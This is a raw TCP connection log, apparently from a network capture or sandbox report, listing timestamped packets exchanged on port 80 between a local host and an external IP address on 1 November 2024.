Nov 1, 2024 12:34:10.016288996 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.016294956 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.016319036 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.016329050 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.016340017 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.016345978 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.016359091 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.016365051 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.016386986 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.016386986 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.016392946 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.016395092 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.016402006 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.016412973 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.016437054 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.016438961 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.016443968 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.016454935 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.016484976 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.016500950 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.016506910 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.016509056 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.016513109 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.016537905 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.016587973 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.016594887 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.016629934 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.016671896 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.016680002 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.016715050 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.016755104 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.016762018 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.016773939 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.016778946 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.016803980 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.016803980 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.016810894 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.016817093 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.016829967 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.016836882 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.016844988 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.016849041 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.016855001 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.016863108 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.016891003 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.017070055 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.017076015 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.017086983 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.017117977 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.017199993 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.017205954 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.017216921 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.017222881 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.017230988 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.017246962 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.017261982 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.017349005 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.017354012 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.017365932 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.017371893 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.017395020 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.017416954 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.017762899 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.017769098 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.017781019 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.017810106 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.017966986 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.017972946 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.017985106 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.017991066 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.017997026 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.018008947 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.018017054 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.018028021 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.018058062 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.018074989 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.018083096 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.018094063 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.018100023 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.018116951 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.018120050 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.018122911 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.018137932 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.018140078 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.018143892 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.018155098 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.018157005 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.018166065 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.018186092 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.018192053 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.018198013 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.018207073 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.018218040 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.018246889 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.018351078 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.018357992 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.018368959 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.018374920 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.018381119 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.018393040 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.018398046 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.018399000 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.018407106 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.018416882 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.018419027 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.018426895 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.018439054 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.018443108 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.018479109 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.018503904 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.019015074 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019021034 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019032955 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019040108 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019052982 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019059896 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019061089 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.019066095 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019088984 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.019114017 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.019169092 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019180059 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019191980 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019196033 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019202948 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019210100 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019215107 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.019216061 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019223928 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019232035 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019243956 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019246101 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.019253016 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019259930 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019268990 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.019270897 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019279003 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019285917 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019295931 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.019320965 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019321918 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.019366026 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.019372940 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019380093 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019391060 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019397974 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019409895 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019412041 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.019417048 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019429922 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019438028 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.019453049 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.019470930 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.019474030 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019480944 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019491911 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019499063 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019511938 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019515038 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.019541025 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.019556046 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019562006 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019573927 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019578934 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019579887 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.019587994 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019596100 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.019618034 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.019772053 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019946098 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019957066 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019963980 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.019990921 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.019999981 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020005941 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020009995 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.020019054 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020025969 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020041943 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.020065069 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.020138979 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020144939 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020157099 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020163059 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020179033 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020184994 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020184994 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.020194054 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020200014 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.020205975 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020212889 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020214081 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.020219088 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020226002 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020240068 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020245075 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.020292997 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.020344019 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020349979 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020361900 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020366907 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020380020 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020385027 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.020385027 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020394087 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020399094 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020402908 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.020406961 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020415068 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020416975 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.020454884 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.020462990 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020468950 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020474911 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.020483971 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020489931 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020500898 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020502090 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.020514965 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020526886 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020531893 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020531893 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.020545006 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020545959 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.020553112 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020576000 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.020582914 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.020737886 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020744085 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020756006 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020781040 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.020802975 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.020942926 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020948887 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020962954 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020971060 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020982027 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.020986080 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.020993948 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021004915 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021006107 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.021013021 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021020889 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.021024942 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021033049 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021044016 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021045923 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.021049976 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021061897 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021068096 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021074057 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.021080017 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021090031 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021091938 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.021095991 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021104097 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.021107912 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021116972 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021127939 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021130085 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.021135092 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021146059 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021151066 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021153927 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.021162987 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021171093 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021177053 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.021184921 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.021189928 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021195889 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021207094 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021213055 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021213055 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.021220922 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021230936 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.021249056 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.021498919 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021505117 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021517992 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021522999 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021536112 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021542072 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021541119 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.021548986 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021570921 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.021578074 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.021586895 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.021594048 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021600008 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021610975 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021616936 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021629095 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021631956 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.021636009 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021645069 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021658897 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.021680117 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.021816969 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021822929 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021833897 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021840096 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021852016 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021857977 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021858931 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.021867037 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021872044 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021873951 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.021878958 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021884918 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021891117 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.021898031 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021903038 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021912098 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.021915913 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021918058 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.021927118 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021938086 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.021939993 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021946907 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021959066 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021961927 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.021965981 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021976948 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.021985054 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021991014 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.021992922 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.021996975 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.022002935 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.022017956 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.022022963 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.022033930 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.022033930 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.022044897 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.022052050 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.022057056 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.022063971 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.022075891 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.022079945 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.022083044 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.022094011 CET	49972	80	192.168.2.7	185.215.113.16
